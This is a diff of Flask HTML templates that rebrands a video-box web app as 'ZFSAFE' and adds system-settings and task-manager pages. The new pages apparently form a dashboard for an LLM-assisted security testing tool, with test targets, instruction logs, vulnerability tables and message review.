<nav class="navbar navbar-expand-lg navbar-light">
<div class="container-fluid">
<a class="navbar-brand" href="#">智凡BOX</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="#">实时预览</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">通道管理</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">算法管理</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">系统管理</a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">用户管理</a>
</li>
</ul>
<ul class="navbar-nav ms-auto">
<li class="nav-item">
<a class="nav-link" href="#">张三 退出</a>
</li>
</ul>
</div>
</div>
</nav>
</header>
<main>
<div class="tree-view col-md-3">
<ul class="list-group">
<li class="list-group-item">一区
<ul class="list-group">
<li class="list-group-item">北门通道一</li>
<li class="list-group-item">南门通道二</li>
<li class="list-group-item">通道三</li>
</ul>
</li>
<li class="list-group-item">二区域
<ul class="list-group">
<li class="list-group-item">通道一</li>
</ul>
</li>
</ul>
</div>
<div class="video-content col-md-9">
<div class="toggle-buttons">
<button id="fourView" class="btn btn-primary">四画面</button>
<button id="eightView" class="btn btn-secondary">八画面</button>
</div>
<div id="videoGrid" class="video-grid">
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
</div>
</div>
</main>
<footer>
&copy; 2024 ZFKJ All Rights Reserved
</footer>
<script src="{{ url_for('main.static', filename='js/bootstrap.bundle.min.js') }}"></script>
<script>
document.getElementById('fourView').addEventListener('click', function() {
const videoGrid = document.getElementById('videoGrid');
videoGrid.classList.remove('eight');
videoGrid.classList.add('four');
videoGrid.innerHTML = `
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
`;
});
document.getElementById('eightView').addEventListener('click', function() {
const videoGrid = document.getElementById('videoGrid');
videoGrid.classList.remove('four');
videoGrid.classList.add('eight');
videoGrid.innerHTML = `
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
<div class="video-frame"><img src="../static/resources/images/video_placeholder.png" alt="Video Stream"></div>
`;
});
</script>
</body>
</html>

312
web/main/templates/system_manager.html

@ -1,7 +1,8 @@
{% extends 'base.html' %} {% extends 'base.html' %}
{% block title %}ZFBOX{% endblock %} {% block title %}ZFSAFE{% endblock %}
<!-- 页面样式块 -->
{% block style %} {% block style %}
.btn-blue { .btn-blue {
background-color: #007bff; background-color: #007bff;
@ -10,215 +11,12 @@
.btn-blue:hover { .btn-blue:hover {
background-color: #0056b3; background-color: #0056b3;
} }
.table-container {
min-height: 300px; /* 设置最小高度,可以根据需要调整 */
}
/* 缩小表格行高 */
.table-sm th,
.table-sm td {
padding: 0.2rem; /* 调整这里的值来改变行高 */
}
.pagination {
justify-content: flex-end; /* 右对齐 */
}
.section-title {
position: relative;
margin: 20px 0;
}
.section-title hr {
margin: 0;
border-color: #000; /* You can change the color of the line if needed */
}
{% endblock %} {% endblock %}
<!-- 页面内容块 -->
{% block content %} {% block content %}
<div class="container d-flex flex-column" > <div class="container d-flex flex-column" >
<!-- 模态框区域 -->
<!-- 配置IP模态框-->
<div class="modal fade" id="ipConfigModal" tabindex="-1" aria-labelledby="ipConfigModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="ipConfigModalLabel">IP地址配置</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<!-- Tabs for Wired and Wireless IP -->
<ul class="nav nav-tabs" id="ipTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="wired-tab" data-bs-toggle="tab" data-bs-target="#wired" type="button" role="tab" aria-controls="wired" aria-selected="true">有线IP</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="wireless-tab" data-bs-toggle="tab" data-bs-target="#wireless" type="button" role="tab" aria-controls="wireless" aria-selected="false">无线IP</button>
</li>
</ul>
<!-- Tab content -->
<div class="tab-content mt-3" id="ipTabContent">
<!-- Wired IP Configuration -->
<div class="tab-pane fade show active" id="wired" role="tabpanel" aria-labelledby="wired-tab">
<div class="mb-3">
<div class="row">
<div class="col-6">
<div class="form-check">
<input class="form-check-input" type="radio" name="ip_lan"
id="dhcp_lan" checked onclick="handleRadioClick_lan(event)">
<label class="form-check-label" for="dhcp_lan">自动获取</label>
</div>
</div>
<div class="col-6">
<div class="form-check">
<input class="form-check-input" type="radio" name="ip_lan"
id="static_lan" onclick="handleRadioClick_lan(event)">
<label class="form-check-label" for="static_lan">静态IP</label>
</div>
</div>
</div>
</div>
<div class="mb-3">
<label for="wiredIpAddress" class="form-label">有线IP地址</label>
<input type="text" class="form-control" id="wiredIpAddress" placeholder="例如: 192.168.1.2">
</div>
<div class="mb-3">
<label for="wiredSubnetMask" class="form-label">子网掩码</label>
<input type="text" class="form-control" id="wiredSubnetMask" placeholder="例如: 255.255.255.0">
</div>
<div class="mb-3">
<label for="wiredGateway" class="form-label">网关</label>
<input type="text" class="form-control" id="wiredGateway" placeholder="例如: 192.168.1.1">
</div>
<div>
<label for="wirelessGateway" class="form-label">DNS</label>
<input type="text" class="form-control" id="wiredDNS" placeholder="例如: 114.114.114.114">
</div>
</div>
<!-- Wireless IP Configuration -->
<div class="tab-pane fade" id="wireless" role="tabpanel" aria-labelledby="wireless-tab">
<div class="mb-2">
<label for="wirelessNetwork" class="form-label">选择无线网络</label>
<select class="form-select" id="wirelessNetwork">
<!-- 数据动态填充 -->
</select>
</div>
<div class="mb-4">
<div class="row justify-content-center align-items-center">
<div class="col-2"><label for="wirelessSubnetMask" class="form-label">密码:</label></div>
<div class="col-8"><input type="password" class="form-control" id="wifi_passwd"></div>
<div class="col-2"><button type="button" class="btn btn-primary" id="connectWifi">连接</button></div>
</div>
</div>
<div class="mb-2">
<div class="row">
<div class="col-6">
<div class="form-check">
<input class="form-check-input" type="radio" name="ip_wifi"
id="dhcp_wifi" checked onclick="handleRadioClick_wifi(event)">
<label class="form-check-label" for="dhcp_wifi">自动获取</label>
</div>
</div>
<div class="col-6">
<div class="form-check">
<input class="form-check-input" type="radio" name="ip_wifi"
id="static_wifi" onclick="handleRadioClick_wifi(event)">
<label class="form-check-label" for="static_wifi">静态IP</label>
</div>
</div>
</div>
</div>
<div class="mb-2">
<label for="wirelessIpAddress" class="form-label">无线IP地址</label>
<input type="text" class="form-control" id="wirelessIpAddress" placeholder="例如: 192.168.1.3">
</div>
<div class="mb-2">
<label for="wirelessSubnetMask" class="form-label">子网掩码</label>
<input type="text" class="form-control" id="wirelessSubnetMask" placeholder="例如: 255.255.255.0">
</div>
<div class="mb-2">
<label for="wirelessGateway" class="form-label">网关</label>
<input type="text" class="form-control" id="wirelessGateway" placeholder="例如: 192.168.1.1">
</div>
<div>
<label for="wirelessGateway" class="form-label">DNS</label>
<input type="text" class="form-control" id="wirelessDNS" placeholder="例如: 114.114.114.114">
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<button type="button" class="btn btn-primary" id="saveIPConfig">保存设置</button>
</div>
</div>
</div>
</div>
<!-- 修改服务器IP模态框-->
<div class="modal fade" id="ServerIPModal" tabindex="-1" aria-labelledby="ServerIPModal" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">服务器IP地址配置</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="serviceIP_model" class="form-label">服务器IP</label>
<input type="text" class="form-control" id="serviceIP_model" placeholder="例如: 127.0.0.1">
</div>
<div class="mb-3">
<label for="servicePort_model" class="form-label">端口号</label>
<input type="text" class="form-control" id="servicePort_model" placeholder="例如: 8085">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<button type="button" class="btn btn-primary" id="saveServerIP">保存设置</button>
</div>
</div>
</div>
</div>
<!-- 新增区域模态框-->
<div class="modal fade" id="addAreaModal" tabindex="-1" aria-labelledby="AreaModal" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="area_modal_title_id">新增区域</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="area_name" class="form-label">区域名称</label>
<input type="text" class="form-control" id="area_name">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<button type="button" class="btn btn-primary" id="addArea">保存设置</button>
</div>
</div>
</div>
</div>
<!-- 修改区域模态框-->
<div class="modal fade" id="modifyAreaModal" tabindex="-1" aria-labelledby="AreaModal" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">修改区域</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="mb-3">
<label for="area_name" class="form-label">区域名称</label>
<input type="text" class="form-control" id="area_name_modif">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
<button type="button" class="btn btn-primary" id="modifArea">保存设置</button>
</div>
</div>
</div>
</div>
<!-- 系统信息区域 --> <!-- 系统信息区域 -->
<div class="container mt-4"> <div class="container mt-4">
<div class="row justify-content-center align-items-center"> <div class="row justify-content-center align-items-center">
@ -235,52 +33,74 @@
<div class="col-md-9"><p class="form-control-plaintext" id="dev_ID">1.0.0.1</p></div> <div class="col-md-9"><p class="form-control-plaintext" id="dev_ID">1.0.0.1</p></div>
</div> </div>
<div class="row justify-content-center align-items-center"> <div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">设备IP:</label></div> <div class="col-md-3 text-end"><label class="col-form-label form-label">设备外网IP:</label></div>
<div class="col-md-6"><p class="form-control-plaintext" id="dev_IP"> <div class="col-md-6"><input type="text" id="dev_IP" style="width:100%"></div>
有线--192.168.3.45 WIFI--192.168.3.45 5G--192.168.3.45</p></div> <div class="col-md-3"><button class="btn btn-blue" id="updateIP">保存</button></div>
<div class="col-md-3"><button class="btn btn-blue" id="showIPConfig">配置</button></div>
</div>
<div class="row justify-content-center align-items-center">
<div class="col-md-3 text-end"><label class="col-form-label form-label">服务器IP:</label></div>
<div class="col-md-3"><input type="text" class="form-control" id="service_ip"></div>
<div class="col-md"><label class="col-form-label form-label">端口号:</label></div>
<div class="col-md"><input type="text" class="form-control" id="service_port"></div>
<div class="col-md-3"><button class="btn btn-blue" id="showServerIP">修改</button></div>
</div> </div>
</div> </div>
<!-- 区域管理区域 -->
<div class="section-title">
<hr>
</div>
<div class="mb-3">
<button id="addAreaButton" type="button" class="btn btn-primary">
新增区域
</button>
</div>
<div class="table-container">
<table class="table">
<thead class="table-light">
<tr>
<th scope="col" style="width: 20%;">ID</th>
<th scope="col" style="width: 50%;">区域名称</th>
<th scope="col" style="width: 30%;">操作</th>
</tr>
</thead>
<tbody id="table-body-area" class="table-group-divider">
<!-- 表格数据动态填充 -->
</tbody>
</table>
<nav>
<ul id="pagination-area" class="pagination">
<!-- 分页控件将动态生成 -->
</ul>
</nav>
</div> </div>
</div> </div>
{% endblock %} {% endblock %}
<!-- 页面脚本块 -->
{% block script %} {% block script %}
<script src="{{ url_for('main.static', filename='scripts/jquery-3.2.1.slim.min.js') }}"></script> <script>
<script src="{{ url_for('main.static', filename='scripts/system_manager.js') }}"></script> document.addEventListener('DOMContentLoaded', function () {
get_system_info()
});
document.getElementById("upsystem").addEventListener("click",()=>upgrade_system())
document.getElementById("updateIP").addEventListener("click",()=>update_ip())
//系统升级
async function upgrade_system(){
alert("点击了系统升级按钮");
}
//获取系统信息
async function get_system_info(){
try {
const res = await fetch("/api/system/getinfo");
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
version = data.version;
dev_ip = data.local_ip;
document.getElementById("system_version").textContent = version;
document.getElementById("dev_IP").value = dev_ip;
} catch (error) {
console.error("获取系统信息出错:", error);
}
}
//更新外网IP
async function update_ip(){
const local_ip = document.getElementById("dev_IP").value;
try {
const res = await fetch("/api/system/updateip", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({local_ip}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
let bsuccess = data.bsuccess;
let error = data.error;
if(bsuccess){
alert("修改IP地址成功");
}else {
alert("修改IP地址失败:"+error);
}
} catch (error) {
console.error("更新IP地址出错:", error);
}
}
</script>
{% endblock %} {% endblock %}

444
web/main/templates/task_manager.html

@ -0,0 +1,444 @@
{% extends 'base.html' %}
{% block title %}ZFSAFE{% endblock %}
<!-- 在此处可添加样式文件 -->
{% block style_link %}
<link href="{{ url_for('main.static', filename='css/node_tree.css') }}" rel="stylesheet">
{% endblock %}
<!-- 页面样式块 -->
{% block style %}
/* 搜索条件区域居中 */
.search-area {
text-align: center;
margin-bottom: 15px;
}
/* 表格样式 */
.table thead th {
text-align: center; /* 表头居中 */
vertical-align: middle;
}
.table tbody td {
vertical-align: middle;
padding: 0.3rem 0.5rem; /* 缩小单元格上下内边距 */
line-height: 1.5;
}
/* 序号列宽度较小 */
.table thead th.seq-col,
.table tbody td.seq-col {
width: 50px;
text-align: center;
}
/* 分页控件右对齐 */
.pagination {
justify-content: end;
}
/* 左侧任务列表整体样式 */
.task-list {
height: calc(100vh - 210px);
overflow-y: auto;
background-color: #fff;
padding: 5px;
border-right: 1px solid #ddd;
}
/* 每个任务项样式 */
.task-item {
padding: 5px;
margin-bottom: 5px;
background-color: #f9f9f9;
border: 1px solid #eee;
border-radius: 4px;
cursor: pointer;
transition: background-color 0.3s ease, box-shadow 0.3s ease;
}
/* 任务项选中状态样式 */
.task-item.selected {
background-color: #e6f7ff;
border: 1px solid #1890ff;
box-shadow: 2px 2px 6px rgba(0, 0, 0, 0.2);
}
.task-item:hover {
background-color: #e6f7ff;
}
.task-item.selected {
border-color: #1890ff;
background-color: #bae7ff;
}
/* 任务目标样式,第一行 */
.task-target {
font-weight: bold;
}
/* 任务状态,第二行,有缩进 */
.task-status {
margin-left: 10px;
color: #666;
font-size: 0.8rem;
}
/* 定义一个全高容器,与左侧任务列表高度保持一致 */
.full-height {
height: calc(100vh - 210px);
}
/* 右侧区域采用 flex 布局,垂直排列 */
.right-container {
display: flex;
flex-direction: column;
}
/* 基本信息区域,保持固定高度 */
.basic-info {
/* 根据需要设定高度,或保持内容自适应 */
flex: 0 0 auto;
}
/* Tab 内容区域占满剩余空间 */
.tab-wrapper {
flex: 1 1 auto;
display: flex;
flex-direction: column;
overflow: hidden; /* 防止内部溢出 */
}
/* 导航部分根据内容高度 */
#myTab {
flex: 0 0 auto;
}
.tab-content{
flex: 1 1 auto;
overflow-y: auto;
}
.disabled-btn {
/* 禁用状态样式 */
background-color: #cccccc; /* 灰色背景 */
color: #666666; /* 文字颜色变浅 */
cursor: not-allowed; /* 鼠标显示禁用图标 */
opacity: 0.7; /* 可选:降低透明度 */
/* 禁用点击事件(通过 disabled 属性已实现,此样式仅增强视觉效果) */
pointer-events: none; /* 可选:彻底阻止鼠标事件 */
}
{% endblock %}
{% block modal %}
{% include 'task_manager_modal.html' %}
{% endblock %}
<!-- 页面内容块 -->
{% block content %}
<div class="container mt-4">
<div class="container-fluid">
<div class="row">
<!-- 左侧:任务列表 -->
<div class="col-2 task-list" id="taskList">
<!-- 动态生成的任务项将插入此处 -->
<p>加载中...</p>
</div>
<!-- 右侧:任务详情 -->
<div class="col-10 full-height right-container">
<!-- 上方:基本信息 -->
<div class="row basic-info">
<div class="col-9">
<div class="mb-2">
<label class="fw-bold">测试目标: </label>
<span id="detailTestTarget">192.168.1.110</span>
</div>
<div class="row">
<div class="col-3">
<label class="fw-bold">工作状态: </label>
<span id="detailTestStatus">执行中</span>
</div>
<div class="col-3">
<label class="fw-bold">安全情况: </label>
<span id="detailSafeStatus">安全</span>
</div>
<div class="col-6">
<label class="fw-bold">测试模式: </label>
<div class="form-check form-check-inline">
<input
class="form-check-input"
type="radio"
name="testMode"
id="autoMode"
value="auto"
checked
/>
<label class="form-check-label" for="autoMode"
>自动执行</label
>
</div>
<div class="form-check form-check-inline">
<input
class="form-check-input"
type="radio"
name="testMode"
id="manualMode"
value="manual"
/>
<label class="form-check-label" for="manualMode"
>人工确认</label
>
</div>
</div>
</div>
</div>
<!-- <div class="col-2" style="display: flex; justify-content: center; align-items: center"> -->
<div class="col-3 d-flex justify-content-center align-items-center">
<!-- 按钮 (联动测试状态示例: 执行中->暂停, 暂停中->继续, 已结束->重启) -->
<button class="btn btn-primary btn-block" id="actionButton">暂停</button>
<button class="btn btn-primary btn-block m-2" id="one_step">单步</button>
<button class="btn btn-danger btn-block m-2" id="btnTaskOver">结束</button>
</div>
</div>
<!-- 下方:Tab 页 -->
<div class="tab-wrapper">
<ul class="nav nav-tabs" id="myTab" role="tablist">
<li class="nav-item" role="presentation">
<button
class="nav-link active"
id="nodeTreeTab"
data-bs-toggle="tab"
data-bs-target="#nodeTree"
type="button"
role="tab"
aria-controls="nodeTree"
aria-selected="true"
>
节点树
</button>
</li>
<li class="nav-item" role="presentation">
<button
class="nav-link"
id="testInstructionsTab"
data-bs-toggle="tab"
data-bs-target="#testInstructions"
type="button"
role="tab"
aria-controls="testInstructions"
aria-selected="false"
>
测试指令
</button>
</li>
<li class="nav-item" role="presentation">
<button
class="nav-link"
id="vulnerabilitiesTab"
data-bs-toggle="tab"
data-bs-target="#vulnerabilities"
type="button"
role="tab"
aria-controls="vulnerabilities"
aria-selected="false"
>
漏洞数据
</button>
</li>
</ul>
<div class="tab-content " id="myTabContent">
<!-- 节点树 -->
<div
class="tab-pane fade show active p-3 h-100"
id="nodeTree"
role="tabpanel"
aria-labelledby="nodeTreeTab"
>
<div class="row h-100">
<!-- 左侧:节点树区域 -->
<div class="col-8 h-100">
<div class="node-tree-area" id="nodeTreeContainer">
<!-- 顶部刷新按钮 -->
<div class="refresh-container">
<button class="tree-refresh" id="btnRefresh" title="刷新节点树">
&#x21bb;
</button>
</div>
<!-- 节点树内容区域 -->
<div id="treeContent" class="tree-content">
<p id="treeLoadingMsg" style="text-align:center;">加载中...</p>
</div>
</div>
</div>
<!-- 右侧:节点信息与操作 -->
<div class="col-4 h-100">
<div class="node-info-area mb-3">
<h5>节点信息</h5>
<p><strong>节点名称:</strong> <span id="nodeName">-</span></p>
<p><strong>测试状态:</strong> <span id="testStatus">-</span></p>
<p><strong>漏洞类型:</strong> <span id="node_vulType">-</span></p>
<p><strong>漏洞级别:</strong> <span id="node_vulLevel">-</span></p>
<p><strong>工作状态:</strong> <span id="node_bwork">-</span></p>
<p><strong>执行状态:</strong> <span id="node_workstatus">-</span></p>
</div>
<div class="node-actions">
<div class="row">
<div class="col-6"><button class="btn btn-primary w-100" id="btnToggleStatus">暂停</button></div>
<div class="col-6"><button class="btn btn-primary w-100" id="btnNodeStep">单步</button></div>
</div>
<div class="row">
<div class="col-6"><button class="btn btn-primary w-100" id="btnViewInstr">查看指令</button></div>
<div class="col-6"><button class="btn btn-primary w-100" id="btnViewMsg">查看MSG</button></div>
</div>
<div class="row">
<div class="col-6"><button class="btn btn-primary w-100" id="btnAddInfo">添加信息</button></div>
<div class="col-6"><button class="btn btn-primary w-100" id="btnAddChild">添加子节点</button></div>
</div>
</div>
</div>
</div>
</div>
<!-- 测试指令 -->
<div
class="tab-pane fade p-3"
id="testInstructions"
role="tabpanel"
aria-labelledby="testInstructionsTab"
>
<!-- 搜索区域 -->
<div class="row search-area">
<div class="col-4">
<input
type="text"
class="form-control"
id="instrNodeName"
placeholder="节点名称"
/>
</div>
<div class="col-2">
<button class="btn btn-primary" id="instrSearchBtn">
查询
</button>
<button class="btn btn-primary" id="instrExportBtn">
导出
</button>
</div>
</div>
<table class="table table-bordered table-hover" id="instrTable" style="width: 100%; table-layout: fixed;">
<colgroup>
<!-- 第一列:序号,固定宽度或百分比 -->
<col style="width: 5%;">
<!-- 第二列:节点路径,例如 25% -->
<col style="width: 15%;">
<!-- 第三列:指令序号,固定宽度 -->
<col style="width: 5%;">
<!-- 第四列:执行指令,设置为固定宽度或者百分比 -->
<col style="width: 30%;" class="wrap-cell">
<!-- 第五列:执行结果,占用剩余所有宽度 -->
<col style="width: auto;">
</colgroup>
<thead>
<tr>
<th>序号</th>
<th>节点路径</th>
<th>指序</th>
<th>执行指令</th>
<th>执行结果</th>
</tr>
</thead>
<tbody>
<!-- 默认显示 10 行(后续用 JS 渲染数据,补空行) -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="instrPagination">
<li class="page-item">
<a class="page-link" href="#" id="instrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="instrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 漏洞数据 -->
<div
class="tab-pane fade p-3"
id="vulnerabilities"
role="tabpanel"
aria-labelledby="vulnerabilitiesTab"
>
<!-- 搜索区域 -->
<div class="row search-area">
<div class="col-3">
<input
type="text"
class="form-control"
id="vulNodeName"
placeholder="节点名称"
/>
</div>
<div class="col-3">
<input
type="text"
class="form-control"
id="vulType"
placeholder="漏洞类型"
/>
</div>
<div class="col-3">
<select class="form-select" id="vulLevel">
<option value="">漏洞级别</option>
<option value="低危"></option>
<option value="中危"></option>
<option value="高危"></option>
</select>
</div>
<div class="col-2">
<button class="btn btn-primary" id="vulSearchBtn">
查询
</button>
<button class="btn btn-primary" id="vulExportBtn">
导出
</button>
</div>
</div>
<table class="table table-bordered table-hover" id="vulTable">
<thead>
<tr>
<th class="seq-col">序号</th>
<th>节点路径</th>
<th>漏洞类型</th>
<th>漏洞级别</th>
<th>漏洞说明</th>
</tr>
</thead>
<tbody>
<!-- 默认显示 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination" id="vulPagination">
<li class="page-item">
<a class="page-link" href="#" id="vulPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="vulNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
{% endblock %}
<!-- 页面脚本块 -->
{% block script %}
<!-- 在此处可添加与后端交互的脚本 -->
<script src="{{ url_for('main.static', filename='scripts/my_web_socket.js') }}"></script>
<script src="{{ url_for('main.static', filename='scripts/task_manager.js') }}"></script>
<script src="{{ url_for('main.static', filename='scripts/node_tree.js') }}"></script>
<script src="{{ url_for('main.static', filename='scripts/jquery-3.2.1.slim.min.js') }}"></script>
{% endblock %}

214
web/main/templates/task_manager_modal.html

@ -0,0 +1,214 @@
<!-- 指令对话框:Bootstrap Modal -->
<div
class="modal fade"
id="instrModal"
tabindex="-1"
aria-labelledby="instrModalLabel"
aria-hidden="true"
>
<div class="modal-dialog modal-xl"><!-- 宽一些,可根据需求调整 -->
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="instrModalLabel">测试指令</h5>
<button
type="button"
class="btn-close"
data-bs-dismiss="modal"
aria-label="Close"
></button>
</div>
<div class="modal-body">
<!-- 新增一个提示容器 -->
<div id="loadingMsg" style="text-align: center; padding: 10px;">请稍后,数据获取中...</div>
<!-- 页签(已执行、待执行) -->
<ul class="nav nav-tabs" id="instrTab" role="tablist">
<li class="nav-item" role="presentation">
<button
class="nav-link active"
id="doneInstrTab"
data-bs-toggle="tab"
data-bs-target="#doneInstr"
type="button"
role="tab"
aria-controls="doneInstr"
aria-selected="true"
>
已执行
</button>
</li>
<li class="nav-item" role="presentation">
<button
class="nav-link"
id="todoInstrTab"
data-bs-toggle="tab"
data-bs-target="#todoInstr"
type="button"
role="tab"
aria-controls="todoInstr"
aria-selected="false"
>
待执行
</button>
</li>
</ul>
<div class="tab-content pt-3" id="instrTabContent">
<!-- 已执行指令表格 -->
<div
class="tab-pane fade show active"
id="doneInstr"
role="tabpanel"
aria-labelledby="doneInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>执行指令</th>
<th>执行时间</th>
<th>执行结果</th>
</tr>
</thead>
<tbody id="doneInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="doneInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="doneInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="doneInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
<!-- 待执行指令表格 -->
<div
class="tab-pane fade"
id="todoInstr"
role="tabpanel"
aria-labelledby="todoInstrTab"
>
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width: 50px;">序号</th>
<th>待执行指令</th>
<th style="width: 80px;">操作</th>
</tr>
</thead>
<tbody id="todoInstrTbody">
<!-- 动态生成,固定 10 行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="todoInstrPagination">
<li class="page-item">
<a class="page-link" href="#" id="todoInstrPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="todoInstrNext">下一页</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<!-- 对话框底部:导出按钮居右 -->
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">
关闭
</button>
<button type="button" class="btn btn-primary" id="btnExport">
导出
</button>
</div>
</div>
</div>
</div>
<!-- 查看MSG对话框:Bootstrap Modal -->
<div class="modal fade" id="msgModal" tabindex="-1" aria-labelledby="msgModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="msgModalLabel">查看MSG</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="关闭"></button>
</div>
<div class="modal-body">
<!-- Tab 导航 -->
<ul class="nav nav-tabs" id="msgTab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="submittedTab" data-bs-toggle="tab" data-bs-target="#submitted" type="button" role="tab" aria-controls="submitted" aria-selected="true">
已提交
</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="pendingTab" data-bs-toggle="tab" data-bs-target="#pending" type="button" role="tab" aria-controls="pending" aria-selected="false">
待提交
</button>
</li>
</ul>
<div class="tab-content pt-3" id="msgTabContent">
<!-- 已提交 Tab -->
<div class="tab-pane fade show active" id="submitted" role="tabpanel" aria-labelledby="submittedTab">
<table class="table table-bordered table-hover">
<thead>
<tr>
<th style="width:50px;">序号</th>
<th>角色</th>
<th>内容</th>
</tr>
</thead>
<tbody id="submittedTbody">
<!-- 动态生成 10 行;数据不足时补空行 -->
</tbody>
</table>
<!-- 分页控件 -->
<nav>
<ul class="pagination justify-content-end" id="submittedPagination">
<li class="page-item">
<a class="page-link" href="#" id="submittedPrev">上一页</a>
</li>
<li class="page-item">
<a class="page-link" href="#" id="submittedNext">下一页</a>
</li>
</ul>
</nav>
<!-- 导出按钮 -->
<div class="text-end">
<button class="btn btn-primary" id="btnExportSubmitted">导出</button>
</div>
</div>
<!-- 待提交 Tab -->
<div class="tab-pane fade" id="pending" role="tabpanel" aria-labelledby="pendingTab">
<form id="pendingForm">
<div class="mb-3">
<label for="llmtype" class="form-label fw-bold" style="font-size:0.9rem">llmtype:</label>
<input type="text" class="form-control" id="llmtype" placeholder="请输入 llmtype" disabled>
</div>
<div class="mb-3">
<label for="pendingContent" class="form-label fw-bold" style="font-size:0.9rem">内容:</label>
<textarea class="form-control" id="pendingContent" rows="5" placeholder="请输入内容"></textarea>
</div>
<!-- 你可以在此处增加一个保存按钮,由用户提交待提交的内容修改 -->
<div class="text-end">
<button type="button" class="btn btn-primary" id="btnSavePending">保存</button>
<button type="button" class="btn btn-primary" id="btnNeedInstr">请求指令</button>
<!-- <button type="button" class="btn btn-primary" id="btnRedoInstr">重新执行</button>-->
</div>
</form>
</div>
</div>
</div>
<div class="modal-footer">
<!-- 关闭按钮 -->
<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">关闭</button>
</div>
</div>
</div>
</div>

2
web/main/templates/user_manager.html

@ -1,6 +1,6 @@
{% extends 'base.html' %} {% extends 'base.html' %}
{% block title %}ZFBOX{% endblock %} {% block title %}ZFSAFE{% endblock %}
